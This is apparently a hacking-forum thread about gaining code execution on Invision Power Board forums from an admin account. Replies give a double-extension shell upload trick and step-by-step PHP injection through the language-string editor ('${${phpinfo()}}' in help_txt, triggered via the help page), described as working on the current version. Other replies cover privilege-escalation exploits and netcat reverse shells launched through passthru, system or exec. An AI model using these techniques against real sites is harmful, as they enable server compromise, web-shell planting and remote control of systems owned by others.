It is not possible for me, I have tried with 5+ boards with root admin. The idea is you can upload a .php shell in the emotion manager. BUT FOR ME IT IS ALWAYS SAYING THAT YOU CAN ONLY UPLOAD .JPG .GIF ETC!!!

I assume you've tried the basics (putting a shell as shell.php.jpg)

Have no experience with IPB.

IPB current version and older versions are allowing admin to edit language strings. This is accessible to all admins, included non-root ones.
Next, almost year ago there was DarkFig's advisory:

http://mgsdl.free.fr/?0:18

Code:

VI - CODE EXECUTION

The ACP allows admins to manage languages, they can
choose the default language, import a new one, and edit
them. Let's take a look in the file "sources/action_admin/
languages.php":
...


This trick is working even against current IPB version!
Just go to admin-->Look and Feel-->Manage Languages

Then choose section, for example: public_help

Edit "help_txt", which originally is "Choose a topic from the list, or search for a topic"

Add some php code, so it becomes as:

Code:

Choose a topic from the list, or search for a topic

${${phpinfo()}}


Save changes. Then go to help section:

http://localhost/ipb.3.0.0.rc2/index.php?app=core&module=help

... and php code will be executed

maybe its a dull question, but once you have uploaded the shell then you can have access to all the files in the forum folder like if it was FTP? how you do it?

No. You can read all files readable by the web server (source code), and you can upload files to directories chmodded to 777.

If upload is possible, you can also upload software and run it, which means you can execute privilige escalation exploits if applicable.

Also, if you can't upload a shell, you can put in PHP that calls the 'netcat' or 'nc' program through passthru(), system() or exec(), which can give you a netcat reverse shell (use forum search).
